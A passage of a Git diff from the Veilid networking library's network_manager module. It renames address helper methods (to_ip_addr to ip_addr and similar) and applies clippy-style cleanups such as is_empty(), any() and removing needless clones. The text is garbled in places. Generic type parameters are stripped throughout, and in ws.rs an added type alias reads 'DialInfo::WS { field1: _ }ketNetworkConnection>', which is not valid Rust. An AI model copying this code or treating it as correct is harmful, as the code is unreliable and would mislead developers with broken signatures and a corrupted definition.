-> EyreResult> { let peer_address = dial_info.to_peer_address(); - let remote_addr = peer_address.to_socket_addr(); + let remote_addr = peer_address.socket_addr(); let mut preferred_local_address = self .network_manager() .net() diff --git a/veilid-core/src/network_manager/connection_table.rs b/veilid-core/src/network_manager/connection_table.rs index 233c447e..c391246b 100644 --- a/veilid-core/src/network_manager/connection_table.rs +++ b/veilid-core/src/network_manager/connection_table.rs @@ -164,7 +164,7 @@ impl ConnectionTable { } // Filter by ip for connection limits - let ip_addr = descriptor.remote_address().to_ip_addr(); + let ip_addr = descriptor.remote_address().ip_addr(); match inner.address_filter.add_connection(ip_addr) { Ok(()) => {} Err(e) => { @@ -196,7 +196,7 @@ impl ConnectionTable { } log_net!(debug "== LRU Connection Killed: {} -> {}", lruk, lru_conn.debug_print(get_aligned_timestamp())); - out_conn = Some(Self::remove_connection_records(&mut *inner, lruk)); + out_conn = Some(Self::remove_connection_records(&mut inner, lruk)); break; } } @@ -237,11 +237,11 @@ impl ConnectionTable { best_port: Option, remote: PeerAddress, ) -> Option { - let mut inner = self.inner.lock(); + let inner = &mut *self.inner.lock(); let all_ids_by_remote = inner.ids_by_remote.get(&remote)?; let protocol_index = Self::protocol_to_index(remote.protocol_type()); - if all_ids_by_remote.len() == 0 { + if all_ids_by_remote.is_empty() { // no connections return None; } @@ -253,11 +253,11 @@ impl ConnectionTable { } // multiple connections, find the one that matches the best port, or the most recent if let Some(best_port) = best_port { - for id in all_ids_by_remote.iter().copied() { - let nc = inner.conn_by_id[protocol_index].peek(&id).unwrap(); + for id in all_ids_by_remote { + let nc = inner.conn_by_id[protocol_index].peek(id).unwrap(); if let Some(local_addr) = nc.connection_descriptor().local() { if local_addr.port() == best_port { - let nc = inner.conn_by_id[protocol_index].get(&id).unwrap(); + let nc = inner.conn_by_id[protocol_index].get(id).unwrap(); return Some(nc.get_handle()); } } @@ -331,7 +331,7 @@ impl ConnectionTable { } } // address_filter - let ip_addr = remote.to_socket_addr().ip(); + let ip_addr = remote.socket_addr().ip(); inner .address_filter .remove_connection(ip_addr) @@ -347,7 +347,7 @@ impl ConnectionTable { if !inner.conn_by_id[protocol_index].contains_key(&id) { return None; } - let conn = Self::remove_connection_records(&mut *inner, id); + let conn = Self::remove_connection_records(&mut inner, id); Some(conn) } @@ -358,7 +358,7 @@ impl ConnectionTable { for t in 0..inner.conn_by_id.len() { out += &format!( " {} Connections: ({}/{})\n", - Self::index_to_protocol(t).to_string(), + Self::index_to_protocol(t), inner.conn_by_id[t].len(), inner.max_connections[t] ); diff --git a/veilid-core/src/network_manager/mod.rs b/veilid-core/src/network_manager/mod.rs index d1b7bc74..d5708f9f 100644 --- a/veilid-core/src/network_manager/mod.rs +++ b/veilid-core/src/network_manager/mod.rs @@ -61,7 +61,7 @@ pub const PUBLIC_ADDRESS_CHECK_TASK_INTERVAL_SECS: u32 = 60; pub const PUBLIC_ADDRESS_INCONSISTENCY_TIMEOUT_US: TimestampDuration = TimestampDuration::new(300_000_000u64); // 5 minutes pub const PUBLIC_ADDRESS_INCONSISTENCY_PUNISHMENT_TIMEOUT_US: TimestampDuration = - TimestampDuration::new(3600_000_000u64); // 60 minutes + TimestampDuration::new(3_600_000_000_u64); // 60 minutes pub const ADDRESS_FILTER_TASK_INTERVAL_SECS: u32 = 60; pub const BOOT_MAGIC: &[u8; 4] = b"BOOT"; @@ -261,7 +261,7 @@ impl NetworkManager { where F: FnOnce(&VeilidConfigInner) -> R, { - f(&*self.unlocked_inner.config.get()) + f(&self.unlocked_inner.config.get()) } pub fn storage_manager(&self) -> StorageManager { self.unlocked_inner.storage_manager.clone() @@ -892,7 +892,7 @@ impl NetworkManager { data.len(), connection_descriptor ); - let remote_addr = connection_descriptor.remote_address().to_ip_addr(); + let remote_addr = connection_descriptor.remote_address().ip_addr(); // Network accounting self.stats_packet_rcvd(remote_addr, ByteCount::new(data.len() as u64)); @@ -900,7 +900,7 @@ impl NetworkManager { // If this is a zero length packet, just drop it, because these are used for hole punching // and possibly other low-level network connectivity tasks and will never require // more processing or forwarding - if data.len() == 0 { + if data.is_empty() { return Ok(true); } diff --git a/veilid-core/src/network_manager/native/discovery_context.rs b/veilid-core/src/network_manager/native/discovery_context.rs index 830dc28d..04101c70 100644 --- a/veilid-core/src/network_manager/native/discovery_context.rs +++ b/veilid-core/src/network_manager/native/discovery_context.rs @@ -141,10 +141,8 @@ impl DiscoveryContext { let dial_info_filter = DialInfoFilter::all() .with_protocol_type(protocol_type) .with_address_type(address_type); - let inbound_dial_info_entry_filter = RoutingTable::make_inbound_dial_info_entry_filter( - routing_domain, - dial_info_filter.clone(), - ); + let inbound_dial_info_entry_filter = + RoutingTable::make_inbound_dial_info_entry_filter(routing_domain, dial_info_filter); let disallow_relays_filter = Box::new( move |rti: &RoutingTableInner, v: Option>| { let v = v.unwrap(); @@ -199,7 +197,7 @@ impl DiscoveryContext { let node = node.filtered_clone( NodeRefFilter::new() .with_routing_domain(routing_domain) - .with_dial_info_filter(dial_info_filter.clone()), + .with_dial_info_filter(dial_info_filter), ); async move { if let Some(address) = this.request_public_address(node.clone()).await { @@ -219,9 +217,7 @@ impl DiscoveryContext { let mut external_address_infos = Vec::new(); - for ni in 0..nodes.len() - 1 { - let node = nodes[ni].clone(); - + for node in nodes.iter().take(nodes.len() - 1).cloned() { let gpa_future = get_public_address_func(node); unord.push(gpa_future); @@ -277,15 +273,15 @@ impl DiscoveryContext { node_ref.set_filter(None); // ask the node to send us a dial info validation receipt - let out = rpc_processor + + rpc_processor .rpc_call_validate_dial_info(node_ref.clone(), dial_info, redirect) .await .map_err(logthru_net!( "failed to send validate_dial_info to {:?}", node_ref )) - .unwrap_or(false); - out + .unwrap_or(false) } #[instrument(level = "trace", skip(self), ret)] @@ -307,9 +303,14 @@ impl DiscoveryContext { // Attempt a port mapping. If this doesn't succeed, it's not going to let Some(mapped_external_address) = igd_manager - .map_any_port(low_level_protocol_type, address_type, local_port, Some(external_1.address.to_ip_addr())) - .await else - { + .map_any_port( + low_level_protocol_type, + address_type, + local_port, + Some(external_1.address.ip_addr()), + ) + .await + else { return None; }; diff --git a/veilid-core/src/network_manager/native/igd_manager.rs b/veilid-core/src/network_manager/native/igd_manager.rs index ecf60618..32e3e3f2 100644 --- a/veilid-core/src/network_manager/native/igd_manager.rs +++ b/veilid-core/src/network_manager/native/igd_manager.rs @@ -184,7 +184,7 @@ impl IGDManager { let mut found = None; for (pmk, pmv) in &inner.port_maps { if pmk.llpt == llpt && pmk.at == at && pmv.mapped_port == mapped_port { - found = Some(pmk.clone()); + found = Some(*pmk); break; } } @@ -192,7 +192,7 @@ impl IGDManager { let _pmv = inner.port_maps.remove(&pmk).expect("key found but remove failed"); // Find gateway - let gw = Self::find_gateway(&mut *inner, at)?; + let gw = Self::find_gateway(&mut inner, at)?; // Unmap port match gw.remove_port(convert_llpt(llpt), mapped_port) { @@ -230,10 +230,10 @@ impl IGDManager { } // Get local ip address - let local_ip = Self::find_local_ip(&mut *inner, at)?; + let local_ip = Self::find_local_ip(&mut inner, at)?; // Find gateway - let gw = Self::find_gateway(&mut *inner, at)?; + let gw = Self::find_gateway(&mut inner, at)?; // Get external address let ext_ip = match gw.get_external_ip() { @@ -245,16 +245,12 @@ impl IGDManager { }; // Ensure external IP matches address type - if ext_ip.is_ipv4() { - if at != AddressType::IPV4 { - log_net!(debug "mismatched ip address type from igd, wanted v4, got v6"); - return None; - } - } else if ext_ip.is_ipv6() { - if at != AddressType::IPV6 { - log_net!(debug "mismatched ip address type from igd, wanted v6, got v4"); - return None; - } + if ext_ip.is_ipv4() && at != AddressType::IPV4 { + log_net!(debug "mismatched ip address type from igd, wanted v4, got v6"); + return None; + } else if ext_ip.is_ipv6() && at != AddressType::IPV6 { + log_net!(debug "mismatched ip address type from igd, wanted v6, got v4"); + return None; } if let Some(expected_external_address) = expected_external_address { diff --git a/veilid-core/src/network_manager/native/mod.rs b/veilid-core/src/network_manager/native/mod.rs index 02335a6a..389eebbd 100644 --- a/veilid-core/src/network_manager/native/mod.rs +++ b/veilid-core/src/network_manager/native/mod.rs @@ -421,7 +421,7 @@ impl Network { if self .network_manager() .address_filter() - .is_ip_addr_punished(dial_info.address().to_ip_addr()) + .is_ip_addr_punished(dial_info.address().ip_addr()) { return Ok(NetworkResult::no_connection_other("punished")); } @@ -491,7 +491,7 @@ impl Network { if self .network_manager() .address_filter() - .is_ip_addr_punished(dial_info.address().to_ip_addr()) + .is_ip_addr_punished(dial_info.address().ip_addr()) { return Ok(NetworkResult::no_connection_other("punished")); } @@ -519,7 +519,7 @@ impl Network { .into_network_result()) .wrap_err("recv_message failure")?; - let recv_socket_addr = recv_addr.remote_address().to_socket_addr(); + let recv_socket_addr = recv_addr.remote_address().socket_addr(); self.network_manager() .stats_packet_rcvd(recv_socket_addr.ip(), ByteCount::new(recv_len as u64)); @@ -583,10 +583,10 @@ impl Network { // Handle connectionless protocol if descriptor.protocol_type() == ProtocolType::UDP { // send over the best udp socket we have bound since UDP is not connection oriented - let peer_socket_addr = descriptor.remote().to_socket_addr(); + let peer_socket_addr = descriptor.remote().socket_addr(); if let Some(ph) = self.find_best_udp_protocol_handler( &peer_socket_addr, - &descriptor.local().map(|sa| sa.to_socket_addr()), + &descriptor.local().map(|sa| sa.socket_addr()), ) { network_result_value_or_log!(ph.clone() .send_message(data.clone(), peer_socket_addr) @@ -612,7 +612,7 @@ impl Network { ConnectionHandleSendResult::Sent => { // Network accounting self.network_manager().stats_packet_sent( - descriptor.remote().to_socket_addr().ip(), + descriptor.remote().socket_addr().ip(), ByteCount::new(data_len as u64), ); @@ -701,7 +701,7 @@ impl Network { .with_interfaces(|interfaces| { trace!("interfaces: {:#?}", interfaces); - for (_name, intf) in interfaces { + for intf in interfaces.values() { // Skip networks that we should never encounter if intf.is_loopback() || !intf.is_running() { continue; diff --git a/veilid-core/src/network_manager/native/network_udp.rs b/veilid-core/src/network_manager/native/network_udp.rs index 3a0e6c17..2c06a378 100644 --- a/veilid-core/src/network_manager/native/network_udp.rs +++ b/veilid-core/src/network_manager/native/network_udp.rs @@ -68,7 +68,7 @@ impl Network { Ok(Ok((size, descriptor))) => { // Network accounting network_manager.stats_packet_rcvd( - descriptor.remote_address().to_ip_addr(), + descriptor.remote_address().ip_addr(), ByteCount::new(size as u64), ); diff --git a/veilid-core/src/network_manager/native/protocol/mod.rs b/veilid-core/src/network_manager/native/protocol/mod.rs index 6cbd79e9..e2fe457c 100644 --- a/veilid-core/src/network_manager/native/protocol/mod.rs +++ b/veilid-core/src/network_manager/native/protocol/mod.rs @@ -24,7 +24,7 @@ impl ProtocolNetworkConnection { timeout_ms: u32, address_filter: AddressFilter, ) -> io::Result> { - if address_filter.is_ip_addr_punished(dial_info.address().to_ip_addr()) { + if address_filter.is_ip_addr_punished(dial_info.address().ip_addr()) { return Ok(NetworkResult::no_connection_other("punished")); } match dial_info.protocol_type() { diff --git a/veilid-core/src/network_manager/native/protocol/tcp.rs b/veilid-core/src/network_manager/native/protocol/tcp.rs index edd2a6c9..653033fe 100644 --- a/veilid-core/src/network_manager/native/protocol/tcp.rs +++ b/veilid-core/src/network_manager/native/protocol/tcp.rs @@ -19,7 +19,7 @@ impl RawTcpNetworkConnection { } pub fn descriptor(&self) -> ConnectionDescriptor { - self.descriptor.clone() + self.descriptor } // #[instrument(level = "trace", err, skip(self))] @@ -132,11 +132,12 @@ impl RawTcpProtocolHandler { ) -> io::Result> { log_net!("TCP: on_accept_async: enter"); let mut peekbuf: [u8; PEEK_DETECT_LEN] = [0u8; PEEK_DETECT_LEN]; - if let Err(_) = timeout( + if (timeout( self.connection_initial_timeout_ms, ps.peek_exact(&mut peekbuf), ) - .await + .await) + .is_err() { return Ok(None); } diff --git a/veilid-core/src/network_manager/native/protocol/udp.rs b/veilid-core/src/network_manager/native/protocol/udp.rs index 53e793a3..f63a53f8 100644 --- a/veilid-core/src/network_manager/native/protocol/udp.rs +++ b/veilid-core/src/network_manager/native/protocol/udp.rs @@ -79,9 +79,9 @@ impl RawUdpProtocolHandler { }; #[cfg(feature = "verbose-tracing")] - tracing::Span::current().record("ret.len", &message_len); + tracing::Span::current().record("ret.len", message_len); #[cfg(feature = "verbose-tracing")] - tracing::Span::current().record("ret.descriptor", &format!("{:?}", descriptor).as_str()); + tracing::Span::current().record("ret.descriptor", format!("{:?}", descriptor).as_str()); Ok((message_len, descriptor)) } @@ -134,7 +134,7 @@ impl RawUdpProtocolHandler { ); #[cfg(feature = "verbose-tracing")] - tracing::Span::current().record("ret.descriptor", &format!("{:?}", descriptor).as_str()); + tracing::Span::current().record("ret.descriptor", format!("{:?}", descriptor).as_str()); Ok(NetworkResult::value(descriptor)) } @@ -143,7 +143,7 @@ impl RawUdpProtocolHandler { socket_addr: &SocketAddr, ) -> io::Result { // get local wildcard address for bind - let local_socket_addr = compatible_unspecified_socket_addr(&socket_addr); + let local_socket_addr = compatible_unspecified_socket_addr(socket_addr); let socket = UdpSocket::bind(local_socket_addr).await?; Ok(RawUdpProtocolHandler::new(Arc::new(socket), None)) } diff --git a/veilid-core/src/network_manager/native/protocol/ws.rs b/veilid-core/src/network_manager/native/protocol/ws.rs index 80153ba4..4a3d09c6 100644 --- a/veilid-core/src/network_manager/native/protocol/ws.rs +++ b/veilid-core/src/network_manager/native/protocol/ws.rs @@ -20,7 +20,7 @@ const MAX_WS_BEFORE_BODY: usize = 2048; cfg_if! { if #[cfg(feature="rt-async-std")] { pub type WebsocketNetworkConnectionWSS = - WebsocketNetworkConnection>; + DialInfo::WS { field1: _ }ketNetworkConnection>; pub type WebsocketNetworkConnectionWS = WebsocketNetworkConnection; } else if #[cfg(feature="rt-tokio")] { pub type WebsocketNetworkConnectionWSS = @@ -74,7 +74,7 @@ where } pub fn descriptor(&self) -> ConnectionDescriptor { - self.descriptor.clone() + self.descriptor } // #[instrument(level = "trace", err, skip(self))] @@ -232,7 +232,7 @@ impl WebsocketProtocolHandler { // This check could be loosened if necessary, but until we have a reason to do so // a stricter interpretation of HTTP is possible and desirable to reduce attack surface - if peek_buf.windows(4).position(|w| w == b"\r\n\r\n").is_none() { + if !peek_buf.windows(4).any(|w| w == b"\r\n\r\n") { return Ok(None); } @@ -339,8 +339,7 @@ impl Callback for WebsocketProtocolHandler { || request .headers() .iter() - .find(|h| (h.0.as_str().len() + h.1.as_bytes().len()) > MAX_WS_HEADER_LENGTH) - .is_some() + .any(|h| (h.0.as_str().len() + h.1.as_bytes().len()) > MAX_WS_HEADER_LENGTH) { let mut error_response = ErrorResponse::new(None); *error_response.status_mut() = StatusCode::NOT_FOUND; diff --git a/veilid-core/src/network_manager/native/start_protocols.rs b/veilid-core/src/network_manager/native/start_protocols.rs index 416225c4..c5511563 100644 --- a/veilid-core/src/network_manager/native/start_protocols.rs +++ b/veilid-core/src/network_manager/native/start_protocols.rs @@ -312,7 +312,7 @@ impl Network { // if no other public address is specified if !detect_address_changes && public_address.is_none() - && routing_table.ensure_dial_info_is_valid(RoutingDomain::PublicInternet, &di) + && routing_table.ensure_dial_info_is_valid(RoutingDomain::PublicInternet, di) { editor_public_internet.register_dial_info(di.clone(), DialInfoClass::Direct)?; static_public = true; @@ -449,7 +449,7 @@ impl Network { for socket_address in socket_addresses { // Skip addresses we already did - if registered_addresses.contains(&socket_address.to_ip_addr()) { + if registered_addresses.contains(&socket_address.ip_addr()) { continue; } // Build dial info request url @@ -628,7 +628,7 @@ impl Network { } // Register interface dial info editor_local_network.register_dial_info(di.clone(), DialInfoClass::Direct)?; - registered_addresses.insert(socket_address.to_ip_addr()); + registered_addresses.insert(socket_address.ip_addr()); } // Add static public dialinfo if it's configured diff --git a/veilid-core/src/network_manager/network_connection.rs b/veilid-core/src/network_manager/network_connection.rs index 59f1a018..247866f0 100644 --- a/veilid-core/src/network_manager/network_connection.rs +++ b/veilid-core/src/network_manager/network_connection.rs @@ -52,7 +52,7 @@ pub struct DummyNetworkConnection { impl DummyNetworkConnection { pub fn descriptor(&self) -> ConnectionDescriptor { - self.descriptor.clone() + self.descriptor } // pub fn close(&self) -> io::Result<()> { // Ok(()) @@ -144,7 +144,7 @@ impl NetworkConnection { local_stop_token, manager_stop_token, connection_id, - descriptor.clone(), + descriptor, receiver, protocol_connection, stats.clone(), @@ -168,11 +168,11 @@ impl NetworkConnection { } pub fn connection_descriptor(&self) -> ConnectionDescriptor { - self.descriptor.clone() + self.descriptor } pub fn get_handle(&self) -> ConnectionHandle { - ConnectionHandle::new(self.connection_id, self.descriptor.clone(), self.sender.clone()) + ConnectionHandle::new(self.connection_id, self.descriptor, self.sender.clone()) } pub fn is_protected(&self) -> bool { @@ -197,12 +197,12 @@ impl NetworkConnection { message: Vec, ) -> io::Result> { let ts = get_aligned_timestamp(); - let out = network_result_try!(protocol_connection.send(message).await?); + network_result_try!(protocol_connection.send(message).await?); let mut stats = stats.lock(); stats.last_message_sent_time.max_assign(Some(ts)); - Ok(NetworkResult::Value(out)) + Ok(NetworkResult::Value(())) } #[cfg_attr(feature="verbose-tracing", instrument(level="trace", skip(stats), fields(ret.len)))] @@ -234,6 +234,7 @@ impl NetworkConnection { } // Connection receiver loop + #[allow(clippy::too_many_arguments)] fn process_connection( connection_manager: ConnectionManager, local_stop_token: StopToken, @@ -316,19 +317,19 @@ impl NetworkConnection { let peer_address = protocol_connection.descriptor().remote(); // Check to see if it is punished - if address_filter.is_ip_addr_punished(peer_address.to_socket_addr().ip()) { + if address_filter.is_ip_addr_punished(peer_address.socket_addr().ip()) { return RecvLoopAction::Finish; } // Check for connection close if v.is_no_connection() { - log_net!(debug "Connection closed from: {} ({})", peer_address.to_socket_addr(), peer_address.protocol_type()); + log_net!(debug "Connection closed from: {} ({})", peer_address.socket_addr(), peer_address.protocol_type()); return RecvLoopAction::Finish; } // Punish invalid framing (tcp framing or websocket framing) if v.is_invalid_message() { - address_filter.punish_ip_addr(peer_address.to_socket_addr().ip()); + address_filter.punish_ip_addr(peer_address.socket_addr().ip()); return RecvLoopAction::Finish; } diff --git a/veilid-core/src/network_manager/send_data.rs b/veilid-core/src/network_manager/send_data.rs index beecf26b..bfa95c93 100644 --- a/veilid-core/src/network_manager/send_data.rs +++ b/veilid-core/src/network_manager/send_data.rs @@ -338,7 +338,7 @@ impl NetworkManager { let routing_table = self.routing_table(); // If a node is punished, then don't try to contact it - if target_node_ref.node_ids().iter().find(|nid| self.address_filter().is_node_id_punished(**nid)).is_some() { + if target_node_ref.node_ids().iter().any(|nid| self.address_filter().is_node_id_punished(*nid)) { return Ok(NodeContactMethod::Unreachable); } diff --git a/veilid-core/src/network_manager/tasks/public_address_check.rs b/veilid-core/src/network_manager/tasks/public_address_check.rs index e106af9f..b227dabd 100644 --- a/veilid-core/src/network_manager/tasks/public_address_check.rs +++ b/veilid-core/src/network_manager/tasks/public_address_check.rs @@ -11,7 +11,7 @@ impl NetworkManager { ) -> EyreResult<()> { // go through public_address_inconsistencies_table and time out things that have expired let mut inner = self.inner.lock(); - for (_, pait_v) in &mut inner.public_address_inconsistencies_table { + for pait_v in inner.public_address_inconsistencies_table.values_mut() { let mut expired = Vec::new(); for (addr, exp_ts) in pait_v.iter() { if *exp_ts <= cur_ts { @@ -79,7 +79,7 @@ impl NetworkManager { // Get the ip(block) this report is coming from let reporting_ipblock = ip_to_ipblock( ip6_prefix_size, - connection_descriptor.remote_address().to_ip_addr(), + connection_descriptor.remote_address().ip_addr(), ); // Reject public address reports from nodes that we know are behind symmetric nat or @@ -94,7 +94,7 @@ impl NetworkManager { // If the socket address reported is the same as the reporter, then this is coming through a relay // or it should be ignored due to local proximity (nodes on the same network block should not be trusted as // public ip address reporters, only disinterested parties) - if reporting_ipblock == ip_to_ipblock(ip6_prefix_size, socket_address.to_ip_addr()) { + if reporting_ipblock == ip_to_ipblock(ip6_prefix_size, socket_address.ip_addr()) { return; } @@ -192,7 +192,7 @@ impl NetworkManager { let pait = inner .public_address_inconsistencies_table .entry(addr_proto_type_key) - .or_insert_with(|| HashMap::new()); + .or_insert_with(HashMap::new); for i in &inconsistencies { pait.insert(*i, exp_ts); } @@ -204,7 +204,7 @@ impl NetworkManager { let pait = inner .public_address_inconsistencies_table .entry(addr_proto_type_key) - .or_insert_with(|| HashMap::new()); + .or_insert_with(HashMap::new); let exp_ts = get_aligned_timestamp() + PUBLIC_ADDRESS_INCONSISTENCY_PUNISHMENT_TIMEOUT_US; for i in inconsistencies { diff --git a/veilid-core/src/network_manager/types/address.rs b/veilid-core/src/network_manager/types/address.rs index e89ed185..6b0f510a 100644 --- a/veilid-core/src/network_manager/types/address.rs +++ b/veilid-core/src/network_manager/types/address.rs @@ -71,16 +71,16 @@ impl Address { } } } - pub fn to_ip_addr(&self) -> IpAddr { + pub fn ip_addr(&self) -> IpAddr { match self { Self::IPV4(a) => IpAddr::V4(*a), Self::IPV6(a) => IpAddr::V6(*a), } } - pub fn to_socket_addr(&self, port: u16) -> SocketAddr { - SocketAddr::new(self.to_ip_addr(), port) + pub fn socket_addr(&self, port: u16) -> SocketAddr { + SocketAddr::new(self.ip_addr(), port) } - pub fn to_canonical(&self) -> Address { + pub fn canonical(&self) -> Address { match self { Address::IPV4(v4) => Address::IPV4(*v4), Address::IPV6(v6) => match v6.to_ipv4() { diff --git a/veilid-core/src/network_manager/types/address_type.rs b/veilid-core/src/network_manager/types/address_type.rs index 53ddcb4f..4c7033d6 100644 --- a/veilid-core/src/network_manager/types/address_type.rs +++ b/veilid-core/src/network_manager/types/address_type.rs @@ -1,7 +1,7 @@ #![allow(non_snake_case)] use super::*; -#[allow(clippy::derive_hash_xor_eq)] +#[allow(clippy::derived_hash_with_manual_eq)] #[derive(Debug, PartialOrd, Ord, Hash, Serialize, Deserialize, EnumSetType)] #[enumset(repr = "u8")] pub enum AddressType { diff --git a/veilid-core/src/network_manager/types/dial_info/mod.rs b/veilid-core/src/network_manager/types/dial_info/mod.rs index 1450b3b3..c90dcc97 100644 --- a/veilid-core/src/network_manager/types/dial_info/mod.rs +++ b/veilid-core/src/network_manager/types/dial_info/mod.rs @@ -36,10 +36,10 @@ impl fmt::Display for DialInfo { let split_url = SplitUrl::from_str(&url).unwrap(); match split_url.host { SplitUrlHost::Hostname(_) => { - write!(f, "ws|{}|{}", di.socket_address.to_ip_addr(), di.request) + write!(f, "ws|{}|{}", di.socket_address.ip_addr(), di.request) } SplitUrlHost::IpAddr(a) => { - if di.socket_address.to_ip_addr() == a { + if di.socket_address.ip_addr() == a { write!(f, "ws|{}", di.request) } else { panic!("resolved address does not match url: {}", di.request); @@ -52,7 +52,7 @@ impl fmt::Display for DialInfo { let split_url = SplitUrl::from_str(&url).unwrap(); match split_url.host { SplitUrlHost::Hostname(_) => { - write!(f, "wss|{}|{}", di.socket_address.to_ip_addr(), di.request) + write!(f, "wss|{}|{}", di.socket_address.ip_addr(), di.request) } SplitUrlHost::IpAddr(_) => { panic!( @@ -143,22 +143,22 @@ impl FromStr for DialInfo { impl DialInfo { pub fn udp_from_socketaddr(socket_addr: SocketAddr) -> Self { Self::UDP(DialInfoUDP { - socket_address: SocketAddress::from_socket_addr(socket_addr).to_canonical(), + socket_address: SocketAddress::from_socket_addr(socket_addr).canonical(), }) } pub fn tcp_from_socketaddr(socket_addr: SocketAddr) -> Self { Self::TCP(DialInfoTCP { - socket_address: SocketAddress::from_socket_addr(socket_addr).to_canonical(), + socket_address: SocketAddress::from_socket_addr(socket_addr).canonical(), }) } pub fn udp(socket_address: SocketAddress) -> Self { Self::UDP(DialInfoUDP { - socket_address: socket_address.to_canonical(), + socket_address: socket_address.canonical(), }) } pub fn tcp(socket_address: SocketAddress) -> Self { Self::TCP(DialInfoTCP { - socket_address: socket_address.to_canonical(), + socket_address: socket_address.canonical(), }) } pub fn try_ws(socket_address: SocketAddress, url: String) -> VeilidAPIResult { @@ -173,7 +173,7 @@ impl DialInfo { apibail_parse_error!("socket address port doesn't match url port", url); } if let SplitUrlHost::IpAddr(a) = split_url.host { - if socket_address.to_ip_addr() != a { + if socket_address.ip_addr() != a { apibail_parse_error!( format!("request address does not match socket address: {}", a), socket_address @@ -181,7 +181,7 @@ impl DialInfo { } } Ok(Self::WS(DialInfoWS { - socket_address: socket_address.to_canonical(), + socket_address: socket_address.canonical(), request: url[5..].to_string(), })) } @@ -203,7 +203,7 @@ impl DialInfo { ); } Ok(Self::WSS(DialInfoWSS { - socket_address: socket_address.to_canonical(), + socket_address: socket_address.canonical(), request: url[6..].to_string(), })) } @@ -244,10 +244,10 @@ impl DialInfo { } pub fn to_ip_addr(&self) -> IpAddr { match self { - Self::UDP(di) => di.socket_address.to_ip_addr(), - Self::TCP(di) => di.socket_address.to_ip_addr(), - Self::WS(di) => di.socket_address.to_ip_addr(), - Self::WSS(di) => di.socket_address.to_ip_addr(), + Self::UDP(di) => di.socket_address.ip_addr(), + Self::TCP(di) => di.socket_address.ip_addr(), + Self::WS(di) => di.socket_address.ip_addr(), + Self::WSS(di) => di.socket_address.ip_addr(), } } pub fn port(&self) -> u16 { @@ -268,10 +268,10 @@ impl DialInfo { } pub fn to_socket_addr(&self) -> SocketAddr { match self { - Self::UDP(di) => di.socket_address.to_socket_addr(), - Self::TCP(di) => di.socket_address.to_socket_addr(), - Self::WS(di) => di.socket_address.to_socket_addr(), - Self::WSS(di) => di.socket_address.to_socket_addr(), + Self::UDP(di) => di.socket_address.socket_addr(), + Self::TCP(di) => di.socket_address.socket_addr(), + Self::WS(di) => di.socket_address.socket_addr(), + Self::WSS(di) => di.socket_address.socket_addr(), } } pub fn to_peer_address(&self) -> PeerAddress { @@ -376,11 +376,11 @@ impl DialInfo { "udp" => Self::udp_from_socketaddr(sa), "tcp" => Self::tcp_from_socketaddr(sa), "ws" => Self::try_ws( - SocketAddress::from_socket_addr(sa).to_canonical(), + SocketAddress::from_socket_addr(sa).canonical(), url.to_string(), )?, "wss" => Self::try_wss( - SocketAddress::from_socket_addr(sa).to_canonical(), + SocketAddress::from_socket_addr(sa).canonical(), url.to_string(), )?, _ => { @@ -395,13 +395,13 @@ impl DialInfo { match self { DialInfo::UDP(di) => ( format!("U{}", di.socket_address.port()), - intf::ptr_lookup(di.socket_address.to_ip_addr()) + intf::ptr_lookup(di.socket_address.ip_addr()) .await .unwrap_or_else(|_| di.socket_address.to_string()), ), DialInfo::TCP(di) => ( format!("T{}", di.socket_address.port()), - intf::ptr_lookup(di.socket_address.to_ip_addr()) + intf::ptr_lookup(di.socket_address.ip_addr()) .await .unwrap_or_else(|_| di.socket_address.to_string()), ), @@ -447,11 +447,11 @@ impl DialInfo { } pub async fn to_url(&self) -> String { match self { - DialInfo::UDP(di) => intf::ptr_lookup(di.socket_address.to_ip_addr()) + DialInfo::UDP(di) => intf::ptr_lookup(di.socket_address.ip_addr()) .await .map(|h| format!("udp://{}:{}", h, di.socket_address.port())) .unwrap_or_else(|_| format!("udp://{}", di.socket_address)), - DialInfo::TCP(di) => intf::ptr_lookup(di.socket_address.to_ip_addr()) + DialInfo::TCP(di) => intf::ptr_lookup(di.socket_address.ip_addr()) .await .map(|h| format!("tcp://{}:{}", h, di.socket_address.port())) .unwrap_or_else(|_| format!("tcp://{}", di.socket_address)), diff --git a/veilid-core/src/network_manager/types/low_level_protocol_type.rs b/veilid-core/src/network_manager/types/low_level_protocol_type.rs index be552282..c9e96d3b 100644 --- a/veilid-core/src/network_manager/types/low_level_protocol_type.rs +++ b/veilid-core/src/network_manager/types/low_level_protocol_type.rs @@ -4,7 +4,7 @@ use super::*; // Keep member order appropriate for sorting < preference // Must match DialInfo order -#[allow(clippy::derive_hash_xor_eq)] +#[allow(clippy::derived_hash_with_manual_eq)] #[derive(Debug, PartialOrd, Ord, Hash, EnumSetType, Serialize, Deserialize)] #[enumset(repr = "u8")] pub enum LowLevelProtocolType { diff --git a/veilid-core/src/network_manager/types/peer_address.rs b/veilid-core/src/network_manager/types/peer_address.rs index e505aa1c..1e56bd9b 100644 --- a/veilid-core/src/network_manager/types/peer_address.rs +++ b/veilid-core/src/network_manager/types/peer_address.rs @@ -10,7 +10,7 @@ pub struct PeerAddress { impl PeerAddress { pub fn new(socket_address: SocketAddress, protocol_type: ProtocolType) -> Self { Self { - socket_address: socket_address.to_canonical(), + socket_address: socket_address.canonical(), protocol_type, } } @@ -23,8 +23,8 @@ impl PeerAddress { self.protocol_type } - pub fn to_socket_addr(&self) -> SocketAddr { - self.socket_address.to_socket_addr() + pub fn socket_addr(&self) -> SocketAddr { + self.socket_address.socket_addr() } pub fn address_type(&self) -> AddressType { @@ -42,7 +42,10 @@ impl FromStr for PeerAddress { type Err = VeilidAPIError; fn from_str(s: &str) -> VeilidAPIResult { let Some((first, second)) = s.split_once(':') else { - return Err(VeilidAPIError::parse_error("PeerAddress is missing a colon: {}", s)); + return Err(VeilidAPIError::parse_error( + "PeerAddress is missing a colon: {}", + s, + )); }; let protocol_type = ProtocolType::from_str(first)?; let socket_address = SocketAddress::from_str(second)?; diff --git a/veilid-core/src/network_manager/types/protocol_type.rs b/veilid-core/src/network_manager/types/protocol_type.rs index 54319322..0279d307 100644 --- a/veilid-core/src/network_manager/types/protocol_type.rs +++ b/veilid-core/src/network_manager/types/protocol_type.rs @@ -3,7 +3,7 @@ use super::*; // Keep member order appropriate for sorting < preference // Must match DialInfo order -#[allow(clippy::derive_hash_xor_eq)] +#[allow(clippy::derived_hash_with_manual_eq)] #[derive(Debug, PartialOrd, Ord, Hash, EnumSetType, Serialize, Deserialize)] #[enumset(repr = "u8")] pub enum ProtocolType { diff --git a/veilid-core/src/network_manager/types/socket_address.rs b/veilid-core/src/network_manager/types/socket_address.rs index 23700543..ad30bbdf 100644 --- a/veilid-core/src/network_manager/types/socket_address.rs +++ 